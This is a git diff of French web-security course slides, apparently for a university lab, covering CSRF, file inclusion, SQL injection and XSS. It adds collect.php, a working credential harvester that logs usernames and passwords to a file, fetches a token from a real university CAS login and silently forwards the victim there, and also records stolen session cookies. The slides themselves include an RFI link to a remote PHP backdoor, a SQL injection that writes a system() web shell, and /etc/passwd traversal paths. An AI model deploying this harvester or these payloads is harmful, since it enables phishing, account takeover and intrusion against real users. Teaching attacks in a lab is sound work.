diff --git a/content/slides/1337/exploits/collect.php b/content/slides/1337/exploits/collect.php index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..8028a155d9f114e334e041dd70b4d6fcd47416ed 100644 --- a/content/slides/1337/exploits/collect.php +++ b/content/slides/1337/exploits/collect.php @@ -0,0 +1,70 @@ +<?php + + +if ( + array_key_exists('username', $_GET) + && array_key_exists('password', $_GET) +) { + + // log credentials + $f = fopen("./credentials.txt", "a"); + fwrite($f, $_GET['username'].":".$_GET['password']."\n"); + fclose($f); + + // get CSRF https://ent.uca.fr/cas/login + $url = "https://ent.uca.fr/cas/login"; + $curl = curl_init($url); + curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE); + $output = curl_exec($curl); + curl_close($curl); + preg_match( + '/name="execution" value="(.+)"/U', + $output, + $matches + ); + $token = $matches[1]; + + ?> + + <script> + window.onload = function(event) { + var frm = document.getElementById("fm1"); + frm.submit(); + }; + </script> + + <styles> + #fm1 { + display: none; + } + </styles> + + <form method="post" id="fm1" action="https://ent.uca.fr/cas/login"> + <input type="text" name="username" value="<?php echo $_GET['username'];?>"> + <input type="password" name="password" value="<?php echo $_GET['password'];?>"> + <input type="hidden" name="execution" value="<?php echo $token;?>"> + <input type="hidden" name="_eventId" value="submit" class=""> + <input type="hidden" name="geolocation"></section> + <button name="submitBtn" type="submit" value="Se connecter"> + <span class="">Se connecter</span> + </button> + </form> + +<?php +} + + +if (array_key_exists('cookie', $_COOKIE)) +{ + // log credentials + $f = fopen("./sessions.txt", "a"); + fwrite($f, $_COOKIE['cookie']."\n"); + fclose($f); +} + + +if (array_key_exists('rm', $_GET)) +{ + unlink("./credentials.txt"); +} + diff --git a/content/slides/1337/md/csrf.md b/content/slides/1337/md/csrf.md index 397774423995ee1ee9f0fb0d0fe347bc293a12a0..ea8df3ff93e593782914e4c90f90e36e69062011 100644 --- a/content/slides/1337/md/csrf.md +++ b/content/slides/1337/md/csrf.md @@ -223,7 +223,7 @@ xhr2.send(); <i class="fa-solid fa-triangle-exclamation"></i> A injecter dans [XSS / low](XSS.html) & jouer dans [XSS / high](XSS.html) -## <i class="fa fa-medkit"></i> Se préserver +### <i class="fa fa-medkit"></i> CSRF / Se préserver * **Fausses Bonnes Idées** * utiliser la méthode POST @@ -232,7 +232,7 @@ xhr2.send(); * Double Submit Pattern -## <i class="fa fa-medkit"></i> [Cookie-To-Header Token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-Header_Token) +### <i class="fa fa-medkit"></i> CSRF / Cookie-To-Header Token * adapté à une utilisation massive de JS * basé sur la [Same Origin Policy](https://en.wikipedia.org/wiki/Same-origin_policy) @@ -247,7 +247,7 @@ Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; ``` -## <i class="fa fa-medkit"></i> [Cookie-To-Header Token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-Header_Token) +### <i class="fa fa-medkit"></i> CSRF / Cookie-To-Header Token * JavaScript lit le jeton et le renvoie dans un header HTTP spécifique à chaque requête @@ -255,4 +255,6 @@ Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql ``` -* Le serveur vérifie la validité du token \ No newline at end of file +* Le serveur vérifie la validité du token + +* [Cookie-To-Header Token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-Header_Token) \ No newline at end of file diff --git a/content/slides/1337/md/fi.md b/content/slides/1337/md/fi.md index 7ef66e62ac77c5f6247ea575b168bf62cde6fcd9..6aa87c91048eb637018b191b96d11ab20733b110 100644 --- a/content/slides/1337/md/fi.md +++ b/content/slides/1337/md/fi.md @@ -7,13 +7,7 @@ <small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small> -### Local File Inclusion / Remote File Inclusion - -<small>nom d'utilisateur uca pour personnaliser les liens des slides:</small> -<input type="text" id="username" value="" style="width: 80%; font-size: 25px" /> - - -## File Inclusion +### <i class="fas fa-cogs"></i> File Inclusion * paramètres HTTP non filtrés @@ -29,7 +23,13 @@ include($_REQUEST['filename']); * concerne [include](http://php.net/manual/fr/function.include.php), [include_once](http://php.net/manual/fr/function.include-once.php), [require](http://php.net/manual/fr/function.require.php), [require_once](http://php.net/manual/fr/function.require-once.php), [fopen](http://php.net/manual/fr/function.fopen.php) -## LFI / security low +### <i class="fas fa-ice-cream"></i> File Inclusion / types + +* Local File inclusion +* Remote File inclusion + + +### <i class="fa-solid fa-bomb"></i> LFI / low * souvent appelé **Directory traversal** * permet d'accéder à des fichiers sensibles @@ -45,7 +45,7 @@ Note: - anciennement safe_mode -## LFI / quelques pistes +### <i class="fa-solid fa-bomb"></i> LFI / low * paths absolus / paths relatifs (../.. ou ..\\..) * linux `/etc/passwd`, `../../../../../etc/hosts` @@ -55,7 +55,7 @@ Note: * invalider par (include|require)_once -## RFI +### <i class="fa-solid fa-bomb"></i> RFI * inclusion de code arbitraire * Backdoor ou Remote shell @@ -71,7 +71,7 @@ allow_url_include=On # just for test purpose <i class="fa-solid fa-face-grin-squint-tears"></i> certains produits PHP nécessitent cette option! -## RFI / security low +### <i class="fa-solid fa-bomb"></i> RFI / low * <small>[/?page=http://perdu.com](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=http://perdu.com)</small> * <i class="fas fa-poop"></i> drôle mais pas très utile @@ -81,7 +81,7 @@ allow_url_include=On # just for test purpose * <i class="fa-solid fa-poo"></i> un peu frustrant -## Backdoor +### <i class="fa-solid fa-bomb"></i> FI / payloads / backdoor * Basiquement permet d'exécuter du code et / ou des commandes systèmes * version artisanale @@ -93,7 +93,7 @@ allow_url_include=On # just for test purpose * [r57shell.net](http://www.r57shell.net/) -## RFI / backdoor +### <i class="fa-solid fa-bomb"></i> RFI / payloads / backdoor * <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php) <i class="fa-solid fa-thumbs-up"></i></small> diff --git a/content/slides/1337/md/sqli.md b/content/slides/1337/md/sqli.md index 2a5978c050ec25e16e921e7c8a1b15d51249a2fc..3ec2ce5a1b924e1aaf6b2a2b2ae2bdea29c45a43 100644 --- a/content/slides/1337/md/sqli.md +++ b/content/slides/1337/md/sqli.md @@ -363,9 +363,9 @@ User ID: 6' UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>" écrit le fichier shell.php dans le système de fichiers -## <i class="fa-solid fa-screwdriver-wrench"></i> [SQLmap](http://sqlmap.org/) +### <i class="fa-solid fa-screwdriver-wrench"></i> SQLi / Low / SQLmap -* Fait tous le boulot à votre palce +* [SQLmap](http://sqlmap.org/) Fait tous le boulot à votre palce * en ligne de commmande * affiche des résultats propres * abstrait diff --git a/content/slides/1337/md/xss.md b/content/slides/1337/md/xss.md index 259664c34986073ded51484ab7bcbdfe8245df75..6e4be5fdce231a7ce7b5472528246f51e492f93f 100644 --- a/content/slides/1337/md/xss.md +++ b/content/slides/1337/md/xss.md @@ -283,6 +283,7 @@ default: <svg onload="alert('pipo');" /"> * être le plus silencieux possible dans la navigation + ### <i class="fa-solid fa-bomb"></i> XSS / payloads / défacement * page malicieuse